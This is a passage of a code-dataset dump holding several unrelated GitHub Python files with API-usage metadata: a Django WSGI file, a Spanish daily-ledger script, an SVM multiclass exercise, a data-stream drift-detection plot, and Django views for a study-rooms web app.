29, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.data.libraries.load", "line_number": 53, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "bpy.utils.previews.new", "line_number": 58, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}]} {"seq_id": "31797370147", "text": "import os\nimport sys\n\npath = '/usr/local/mbaproject'\nproject = '/webMBArepo'\nif path not in sys.path:\n sys.path.append(path)\n sys.path.append(path+project)\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'webMBArepo.settings'\n\nimport django.core.handlers.wsgi\napplication = django.core.handlers.wsgi.WSGIHandler()\n\n", "repo_name": "njakimo/webMBArepo", "sub_path": "apache/django2.wsgi", "file_name": "django2.wsgi", "file_ext": "wsgi", "file_size_in_byte": 313, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.core.handlers.wsgi.core.handlers.wsgi.WSGIHandler", "line_number": 13, "usage_type": "call"}, {"api_name": "django.core.handlers.wsgi.core", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.core.handlers.wsgi", "line_number": 13, "usage_type": "name"}]} {"seq_id": "41990538733", "text": "#PROGRAMA CONTABLE V1.15\r\n#MIJAIL POTINSKI 19/1/2021\r\n\r\nimport os\r\nfrom datetime import datetime\r\nclose = False\r\n\r\ndef fecha():\r\n #toma la fecha del sistema\r\n now = datetime.today()\r\n fecha = now.strftime(\"%d-%m-%Y\")\r\n return(fecha)\r\n\r\ndef fecha1():\r\n #toma la fecha del sistema\r\n now = datetime.today()\r\n fecha = now.strftime(\"%Y/%m\")\r\n return(fecha) \r\n\r\ndef presentacion():\r\n #presenta el programa y dice la fecha\r\n print(\"Programa de libro diario Mercería la nueva\")\r\n print(\"------------------------------------------\")\r\n print(\"Día\",fecha())\r\n\r\ndef creararchivo():\r\n #en caso de ser un libro nuevo se encarga de crear el libro\r\n archivo = open(nombrelibro,\"a+\")\r\n\r\ndef nombrelibro():\r\n #formatea el nombre del libro\r\n nombre = \"C:/Libros/\" + fecha1() + \"/Libro dia \" + fecha() + \".txt\"\r\n return nombre\r\n \r\ndef añadir():\r\n #añade los montos al libro y chequea que sean números\r\n solosumarsimple()\r\n escribir = open(nombrelibro(),\"a\")\r\n valor = input(\"Monto nuevo: \")\r\n\r\n if valor == \"sumar\" or valor ==\"SUMAR\":\r\n solosumar()\r\n\r\n if valor == \"cerrar\" or valor == \"CERRAR\":\r\n close = True\r\n sumar()\r\n \r\n else: \r\n escribir.write(\",\")\r\n escribir.write(\"\\n\")\r\n escribir.write(valor)\r\n escribir.write(\",\")\r\n escribir.write(\"\\n\") \r\n \r\ndef inicio():\r\n #chequea si existe un libro del dia y sino llama a la función para crear uno\r\n try:\r\n f = open(nombrelibro(),\"a+\") \r\n except IOError:\r\n print(\"Archivo nuevo, creando archivo\")\r\n creararchivo()\r\n finally:\r\n añadir()\r\n\r\ndef sumar():\r\n #suma los valores del libro \r\n suma = 0\r\n sumartodo = open(nombrelibro(),\"r\") \r\n\r\n lineavacia = False\r\n cantidad = 0\r\n retiros = 0\r\n while lineavacia == False:\r\n a = sumartodo.readline()\r\n if a == \"\":\r\n lineavacia = True\r\n\r\n elif (any(char.isdigit() for char in a)) == True:\r\n\r\n if a.startswith(\"*\"):\r\n suma = suma\r\n \r\n elif a.startswith(\"-\"):\r\n retiros = retiros + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n suma = suma - b\r\n \r\n else: \r\n cantidad = cantidad + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n suma = suma + b \r\n\r\n sumartodo.close()\r\n guardar = open(nombrelibro(),\"a\")\r\n suma1 = str(suma)\r\n cantidadstr = str(cantidad)\r\n retirosstr = str(retiros)\r\n guardar.write(\"\\n\")\r\n guardar.write(\"*El monto total fue de: \" + suma1 + \" pesos, con: \" + cantidadstr + \" ventas y \"+ retirosstr\r\n +\" retiros\\n\")\r\n guardar.write(\"*El dia: \" + fecha())\r\n guardar.close()\r\n print(\"El monto total fue de: \" + suma1 + \" pesos, con: \" + cantidadstr + \" ventas y \"+ retirosstr\r\n +\" retiros\")\r\n input(\"Ya puede cerrar esta ventana\")\r\n exit()\r\n\r\ndef solosumar():\r\n solosuma = 0\r\n solosumartodo = open(nombrelibro(),\"r\")\r\n\r\n sololineavacia = False\r\n solocantidad = 0\r\n soloretiros = 0\r\n while sololineavacia == False:\r\n a = solosumartodo.readline()\r\n if a == \"\":\r\n sololineavacia = True\r\n\r\n elif (any(char.isdigit() for char in a)) == True:\r\n\r\n if a.startswith(\"*\"):\r\n solosuma = solosuma\r\n \r\n if a.startswith(\"-\"):\r\n soloretiros = soloretiros + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n solosuma = solosuma - b\r\n \r\n else:\r\n solocantidad = solocantidad + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n solosuma = solosuma + b\r\n \r\n solosumartodo.close()\r\n solosuma1 = str(solosuma)\r\n solocantidadstr = str(solocantidad)\r\n soloretirosstr = str(soloretiros) \r\n\r\n print (\"Monto de venta hasta el momento: \" + solosuma1 + \" pesos, con: \" + solocantidadstr + \" ventas y \" + soloretirosstr + \" retiros.\")\r\n añadir()\r\n\r\ndef solosumarsimple():\r\n solosuma = 0\r\n solosumartodo = open(nombrelibro(),\"r\")\r\n\r\n sololineavacia = False\r\n solocantidad = 0\r\n soloretiros = 0\r\n while sololineavacia == False:\r\n a = solosumartodo.readline()\r\n if a == \"\":\r\n sololineavacia = True\r\n\r\n elif (any(char.isdigit() for char in a)) == True:\r\n\r\n if a.startswith(\"*\"):\r\n solosuma = solosuma\r\n \r\n if a.startswith(\"-\"):\r\n soloretiros = soloretiros + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n solosuma = solosuma - b\r\n \r\n else:\r\n solocantidad = solocantidad + 1\r\n b = int ( ''.join(filter(str.isdigit, a) ) )\r\n solosuma = solosuma + b\r\n \r\n solosumartodo.close()\r\n solosuma1 = str(solosuma)\r\n \r\n\r\n print (\"Monto actual: \" + solosuma1 + \" pesos\")\r\n\r\n\r\n#código principal >>>>>\r\n\r\nnewpath = (\"C:/Libros/\" + fecha1())\r\nif not os.path.exists(newpath):\r\n os.makedirs(newpath)\r\n\r\npresentacion()\r\ninicio()\r\n\r\nwhile close == False:\r\n añadir()", "repo_name": "mapkpo/Libro-diario", "sub_path": "LibroDiarioMerceríaV3.py", "file_name": "LibroDiarioMerceríaV3.py", "file_ext": "py", "file_size_in_byte": 5256, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "datetime.datetime.today", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 181, "usage_type": "call"}]} {"seq_id": "20448512927", "text": "\r\nfrom sklearn import datasets\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.preprocessing import scale\r\nfrom sklearn.model_selection import train_test_split\r\nfrom itertools import combinations\r\nimport numpy as np\r\n\r\n\r\n# Implement one-versus-the rest\r\ndef ovr(X,y,C):\r\n ovr_models = []\r\n for i in C:\r\n newy = []\r\n for j in range(len(y)):\r\n if y[j] == i:\r\n newy.append(i)\r\n else:\r\n newy.append(111)\r\n clf=SVC(kernel='linear')\r\n model = clf.fit(X,newy)\r\n ovr_models.append(model)\r\n return ovr_models\r\n # X: input data\r\n # y: target\r\n # C: unique set of classes with ascending order\r\n # return list of binary SVCs \r\n\r\n\r\n\r\ndef ovr_predict(models,X,C):\r\n pred_y = []\r\n for i in range(len(models)):\r\n y=models[i].predict(X)\r\n pred_y.append(y)\r\n \r\n new_pred_y = []\r\n for j in range(len(X)):\r\n cls_list = []\r\n for i in pred_y:\r\n cls_list.append(i[j])\r\n cls, counts = np.unique(cls_list,return_counts=True)\r\n count_cls = np.asarray((cls,counts))\r\n min_y = count_cls[0][list(count_cls[1]).index(min(count_cls[1]))]\r\n if min_y == 111:\r\n min_y = None\r\n new_pred_y.append(min_y)\r\n return new_pred_y\r\n # models: list of binary SVCs \r\n # X: input data\r\n # C: unique set of classes with ascending order\r\n # return predicted classes of samples in X (if ambiguous, set nan)\r\n\r\n\r\n# Implement one-versus-one\r\ndef ovo(X,y,C):\r\n index=list(combinations(C,2))\r\n ovo_models=[]\r\n for i in range(len(index)):\r\n index_list=[]\r\n for j in range(len(y)):\r\n if y[j] == index[i][0] or y[j] == index[i][1]:\r\n index_list.append(j)\r\n newx = X[index_list]\r\n newy = y[index_list]\r\n clf=SVC(kernel='linear')\r\n model = clf.fit(newx,newy)\r\n ovo_models.append(model)\r\n return ovo_models\r\n # X: input data\r\n # y: target\r\n # C: unique set of classes with ascending order\r\n # return list of binary SVCs\r\n\r\n\r\ndef ovo_predict(models,X,C):\r\n pred_y = []\r\n for i in range(len(ovo_models)):\r\n y=ovo_models[i].predict(X)\r\n pred_y.append(y)\r\n \r\n new_pred_y = []\r\n for j in range(len(X)):\r\n num_cls = [] \r\n for i in pred_y:\r\n num_cls.append(i[j])\r\n cls, counts = np.unique(num_cls,return_counts=True)\r\n count_cls = np.asarray((cls,counts))\r\n max_cls = count_cls[0][list(count_cls[1]).index(max(count_cls[1]))]\r\n new_pred_y.append(max_cls)\r\n return new_pred_y\r\n # X: input data\r\n # y: target\r\n # C: unique set of classes with ascending order\r\n # return predicted classes of samples in X (if ambiguous, set nan)\r\n \r\n\r\n\r\ndata=datasets.load_digits()\r\nX,y=data.data, data.target\r\nC=np.sort(np.unique(y))\r\nX=scale(X)\r\n\r\nXtrain,Xval,ytrain,yval=train_test_split(X,y,test_size=0.2, random_state=100,stratify=y)\r\n\r\novr_models=ovr(Xtrain,ytrain,C)\r\novr_y_pred=ovr_predict(ovr_models,Xval,C)\r\n\r\novo_models=ovo(Xtrain,ytrain,C)\r\novo_y_pred=ovo_predict(ovo_models,Xval,C)\r\n\r\n# compare accuracies for validation set\r\ndef acc_com(y_pred, y):\r\n return sum(y_pred == y)/len(y)\r\n\r\novr_acc = acc_com(ovr_y_pred, yval)\r\novo_acc = acc_com(ovo_y_pred, yval)\r\n\r\nprint('ovr_acc:{} \\novo_acc:{}'.format(ovr_acc, ovo_acc))\r\n", "repo_name": "Oh-Yoojin/Machine-Learning", "sub_path": "05-support_vector_machine/support_vector_machine.py", "file_name": "support_vector_machine.py", "file_ext": "py", "file_size_in_byte": 3375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sklearn.svm.SVC", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 43, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_digits", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 99, "usage_type": "name"}, {"api_name": "numpy.sort", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 101, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.scale", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 104, "usage_type": "call"}]} {"seq_id": "41308736783", "text": "import matplotlib.pyplot as plt\nimport matplotlib.axes as ax\nimport numpy as np\nimport os\nimport statistics\n# from chebyshev_SEA import chebyshev_SEA as chebyshev\nfrom chebyshev_adwin import chebyshev_adwin as chebyshev\nfrom skmultiflow.drift_detection.adwin import ADWIN\n\nfig, axs = plt.subplots(3)\nfig = plt.gcf()\nfig.set_size_inches(18, 9)\n\n_len = 100\npatterns = [(\"si\",0,\"SIN pattern\"),(\"sq\",1,\"Square pattern\"),(\"tr\",2, \"Triangle pattern\")]\n# patterns = [(\"si\",0,\"SIN pattern\")]\n_width = 1\nmin_len_cal = 0\nmax_len_cal = 1500000\ncheb_windows_size = 500\nk = 3\nxlim_min = 0\nxlim_max = 6000\n\n# _path = \"D:\\\\git_project\\\\data stream\\\\dataset\\\\\"\n_path = \"C:\\\\Users\\\\karnk\\\\git\\\\data_stream\\\\dataset\\\\\"\nraw = _path+\"training\\\\poisson_train.txt\"\nfor pattern,num_graph,pattern_name in patterns:\n test = _path + \"test\\\\poisson_test_\"+pattern+\"_w\"+str(_width)+\"_i\"+str(_len)+\".txt\"\n answer = _path + \"answer\\\\poisson_ans_\"+pattern+\"_w\"+str(_width)+\"_i\"+str(_len)+\".txt\"\n\n # test = _path + \"test\\\\hinet_test_si_w1_i100.txt\"\n # answer = _path + \"answer\\\\hinet_ans_\"+pattern+\"_w\"+str(w)+\"_i\"+str(size)+\".txt\"\n\n test_list = []\n answer_lists = []\n answer_st_ed_list = []\n\n cheb_ineq= chebyshev(max_window= cheb_windows_size, k=k)\n cheb_test_list = []\n\n with open(test) as txt_lines:\n for line in txt_lines:\n test_list.append(int(line.replace('\\n', '')))\n\n with open(answer) as txt_lines:\n for line in txt_lines:\n answer_lists.append(int(line.replace('\\n', ''))*_len)\n print(answer_lists)\n for i in answer_lists:\n start = i\n end = i + _len\n if start<= max_len_cal:\n if end > max_len_cal:\n end = max_len_cal-1\n xa = range(start,end)\n answer_st_ed_list.append((start,end))\n ya = [160]*_len # Fix high of area\n axs[num_graph].fill_between(xa, ya,alpha=0.30,color='orange')\n\n data_lists = test_list[min_len_cal:max_len_cal]\n for i in range(len(data_lists)):\n cheb_ineq.add_element(data_lists[i])\n # adwin.add_element(data_lists[i])\n if cheb_ineq.detected_change():\n # if adwin.detected_change():\n cheb_test_list.append(i)\n\n for i in cheb_test_list:\n axs[num_graph].axvline(i, color='red', linestyle='-', linewidth=0.7)\n\n axs[num_graph].plot(test_list)\n axs[num_graph].set_ylim(55, 155)\n axs[num_graph].set_xlim(xlim_min, xlim_max)\n axs[num_graph].set_ylabel('value')\n axs[num_graph].set_xlabel('Time')\n # axs[1].ylabel('value')\n # axs[1].xlabel('Time')\n # fig.suptitle(pattern+\" Width = \"+ str(_width)+\" Length \", fontsize=20)\n # fig.suptitle(\"Chev with max_size = \"+str(max_size)+\" min_size = \"+str(min_size), fontsize=20)\n # fig.suptitle(\"Chev with max_size = 3000\", fontsize=20)\n\n # plt.plot(list_mean,color='green',linewidth=1)\n # plt.plot(list_up_variance,color='red')\n # plt.plot(list_low_variance,color='red')\n tittle = \"{}: Width = {} Length = {}\".format(pattern_name,_width,_len)\n # axs[num_graph].set_title(pattern_name+\": Width = \"+ str(_width)+\" Length =\" + str(_len), fontsize=20)\n axs[num_graph].set_title(tittle, fontsize=20)\n# acc cal\n transit_count = len(answer_st_ed_list)\n count = 0\n true_count = 0\n for start,end in answer_st_ed_list:\n found = False\n # i = 0\n for cheb_test in cheb_test_list:\n if (start <= cheb_test) & (cheb_test <= end):\n true_count = true_count + 1\n if not found:\n count = count + 1\n found = True\n # while (i < len(cheb_test_list))& (not found) :\n # if (start <= cheb_test_list[i]) & (cheb_test_list[i]<=end):\n # count = count + 1\n # true_count = true_count+1\n # found = True\n # i = i + 1\n\n\n print(\"acc {} trans_num = {} found = {} rate = {}\".format(pattern_name,\n transit_count,\n count,\n (float(count)/float(transit_count)*100)))\nplt.show()", "repo_name": "thanapol2/data_stream", "sub_path": "playground_light/plot_play/plot_benchmark/plot_benchv2.py", "file_name": "plot_benchv2.py", "file_ext": "py", "file_size_in_byte": 4219, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "chebyshev_adwin.chebyshev_adwin", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}]} {"seq_id": "12508281407", "text": "from django.shortcuts import render, redirect\nfrom django.db.models import Q\nfrom .models import Room, Topic, Message\nfrom .forms import RoomForm, TopicForm, MessageForm\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm #Used in register to create a model to sign up\n\n# Create your views here.\n\n\n\ndef loginpage(request):\n # page variable is used to determine which part to show in 'login_register.html'\n page = 'login'\n\n # To prevent the user from going manually to login once logged in\n if request.user.is_authenticated :\n return redirect('home')\n\n if request.method == 'POST' :\n username = request.POST.get('username').lower()\n password = request.POST.get('password')\n # check if the user exists and raise a message if not\n try :\n # Querying the User (built-in) model that I imported to verify if user exists\n user = User.objects.get(username=username)\n except :\n # If user doesn't exist I'm throwing a message\n messages.error(request, 'Username doesnt exist')\n\n user = authenticate(request, username=username, password = password)\n\n if user is not None :\n # login will create a session in the database and the browser\n login(request, user)\n return redirect('home')\n else :\n messages.error(request, 'Username or Password is not correct!')\n\n context = {'page' : page}\n return render(request, 'base/login_register.html', context)\n\n\n\ndef logoutUser(request) :\n logout(request)\n return redirect('home')\n\ndef registeruser(request) :\n form = UserCreationForm()\n if request.method == 'POST' :\n form = UserCreationForm(request.POST)\n if form.is_valid() :\n user = form.save(commit=False) # commit = False because we want to modify before save in the DB\n user.username = user.username.lower()\n user.save()\n login(request, user)\n return redirect('home')\n else :\n messages.error(request, 'An error occurred during registration')\n context = {'form':form}\n return render(request, 'base/login_register.html', context)\n\n\ndef home(request) :\n \"\"\"\n Here I'm getting q from the home.html (q = topic.name) if it's given\n then I'm using it to query Room model\n \"\"\"\n q = request.GET.get('q') if request.GET.get('q') != None else ''\n rooms = Room.objects.filter( # Q allows to query with & | (and or)\n Q(topic__name__icontains = q) |\n Q(name__icontains = q)\n\n )\n room_count = rooms.count()\n topics = Topic.objects.all()\n room_messages = Message.objects.filter(\n Q(room__topic__name__icontains=q)\n )\n context = {'rooms' : rooms, 'topics':topics, 'room_count' : room_count,\n 'room_messages':room_messages}\n return render(request, 'base/home.html',context)\n\ndef room(request, n) :\n\n room = Room.objects.get(id=n)\n # One to Many relation we access with _set.all()\n room_messages = room.message_set.all().order_by('-created')\n # .all() to access Many to Many relation\n participants = room.participants.all()\n if request.method == 'POST' :\n message = Message.objects.create(\n user = request.user,\n room = room,\n body = request.POST.get('body') # get it from room.html which is the name of the input in the forum\n )\n # Add the user who wrote the message to participants of the room.\n room.participants.add(request.user)\n # I'm redirecting (Get request) because it's a POSt request and it's going to mess some fuctionalities\n return redirect('room', n = room.id)\n context = {'room':room, 'r_messages':room_messages,\n 'participants':participants}\n return render(request, 'base/room.html', context)\n\n# This will allow only logged in users to create a room, if not logged it will redirect them to login URL\n# Done by importing login_required from decorators\n\n\ndef userprofile(request, id):\n user = User.objects.get(id = id)\n rooms = user.room_set.all() # _set allows me to access a child model\n topics = Topic.objects.all()\n room_messages = user.message_set.all()\n context = {'user':user, 'rooms': rooms, 'room_messages':room_messages, 'topics':topics}\n\n return render(request, 'base/profile.html', context)\n\n\n\n\n@login_required(login_url= 'login')\ndef createroom(request) :\n form = RoomForm()\n if request.method == 'POST' :\n form = RoomForm(request.POST) # RoomForm class will extract data\n if form.is_valid() :\n room = form.save(commit=False) # Delay saving to the database to be able to assign a host because Iremoved it from the Forum so the user can't choose it(it should be automatic)\n room.host = request.user\n room.save()\n return redirect('home')\n context = {'form':form}\n return render(request, 'base/room_form.html', context)\n\n@login_required(login_url= 'login')\ndef createtopic(request):\n form = TopicForm()\n if request.method == 'POST' :\n form = TopicForm(request.POST) # RoomForm class will extract data\n if form.is_valid() :\n form.save() # save data in the database\n return redirect('home')\n context = {'form':form}\n return render(request, 'base/room_form.html', context)\n\n\n@login_required(login_url= 'login')\ndef updateroom(request, n) :\n room = Room.objects.get(id = n) # Query the Room model\n form = RoomForm(instance=room)\n # Only the room creater can update it\n if request.user != room.host :\n return HttpResponse('You are not the owner of this room!')\n\n if request.method == 'POST' :\n # instance to tell which room to update, without instance =, it will add a new room\n form = RoomForm(request.POST, instance = room)\n if form.is_valid():\n form.save()\n return redirect('home')\n context = {'form' : form}\n return render(request, 'base/room_form.html', context)\n\n@login_required(login_url= 'login')\ndef deleteroom(request, n) :\n room = Room.objects.get(id = n)\n if request.user != room.host :\n return HttpResponse('You are not the owner of this room!')\n if request.method == 'POST' :\n room.delete()\n return redirect('home')\n return render(request, 'base/delete.html', {'obj':room})\n\n\n@login_required(login_url= 'login')\ndef deletemessage(request, n) :\n message = Message.objects.get(id = n)\n if request.user != message.user :\n return HttpResponse('You are not the owner of this room!')\n if request.method == 'POST' :\n message.delete()\n return redirect('home')\n return render(request, 'base/delete.html', {'obj':message})\n\n\n\n@login_required(login_url='login')\ndef editmessage(request,n):\n message = Message.objects.get(id=n)\n form = MessageForm(instance=message)\n if request.method =='POST' :\n form = MessageForm(request.POST, instance=message)\n if form.is_valid():\n form.save()\n return redirect('home')\n\n return render(request, 'base/edit.html', {'form':form})\n", "repo_name": "Zen1400/Data_Science_Portfolio", "sub_path": "django_study_rooms/study_rooms/base/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7447, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 30, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 33, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 42, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 42, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 50, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 54, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.UserCreationForm", "line_number": 56, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 61, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 64, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 64, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Room.objects.filter", "line_number": 75, "usage_type": "call"}, {"api_name": "models.Room.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.Room", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 77, "usage_type": "call"}, {"api_name": "models.Topic.objects.all", "line_number": 81, "usage_type": "call"}, {"api_name": "models.Topic.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Topic", "line_number": 81, "usage_type": "name"}, {"api_name": "models.Message.objects.filter", "line_number": 82, "usage_type": "call"}, {"api_name": "models.Message.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "models.Message", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 87, "usage_type": "call"}, {"api_name": "models.Room.objects.get", "line_number": 91, "usage_type": "call"}, {"api_name": "models.Room.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.Room", "line_number": 91, "usage_type": "name"}, {"api_name": "models.Message.objects.create", "line_number": 97, "usage_type": "call"}, {"api_name": "models.Message.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "models.Message", "line_number": 97, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 105, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 108, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 115, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 115, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 115, "usage_type": "name"}, {"api_name": "models.Topic.objects.all", "line_number": 117, "usage_type": "call"}, {"api_name": "models.Topic.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "models.Topic", "line_number": 117, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 121, "usage_type": "call"}, {"api_name": "forms.RoomForm", "line_number": 128, "usage_type": "call"}, {"api_name": "forms.RoomForm", "line_number": 130, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 135, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 137, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 126, "usage_type": "call"}, {"api_name": "forms.TopicForm", "line_number": 141, "usage_type": "call"}, {"api_name": "forms.TopicForm", "line_number": 143, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 146, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 148, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 139, "usage_type": "call"}, {"api_name": "models.Room.objects.get", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Room.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Room", "line_number": 153, "usage_type": "name"}, {"api_name": "forms.RoomForm", "line_number": 154, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 157, "usage_type": "call"}, {"api_name": "forms.RoomForm", "line_number": 161, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 164, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 166, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 151, "usage_type": "call"}, {"api_name": "models.Room.objects.get", "line_number": 170, "usage_type": "call"}, {"api_name": "models.Room.objects", "line_number": 170, "usage_type": "attribute"}, {"api_name": "models.Room", "line_number": 170, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 172, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 175, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 176, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 168, "usage_type": "call"}, {"api_name": "models.Message.objects.get", "line_number": 181, "usage_type": "call"}, {"api_name": "models.Message.objects", "line_number": 181, "usage_type": "attribute"}, {"api_name": "models.Message", "line_number": 181, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 183, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 186, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 187, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 179, "usage_type": "call"}, {"api_name": "models.Message.objects.get", "line_number": 193, "usage_type": "call"}, {"api_name": "models.Message.objects", "line_number": 193, "usage_type": "attribute"}, {"api_name": "models.Message", "line_number": 193, "usage_type": "name"}, {"api_name": "forms.MessageForm", "line_number": 194, "usage_type": "call"}, {"api_name": "forms.MessageForm", "line_number": 196, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 199, "usage_type": "call"}, {"api_name": "django.shortcuts.render", 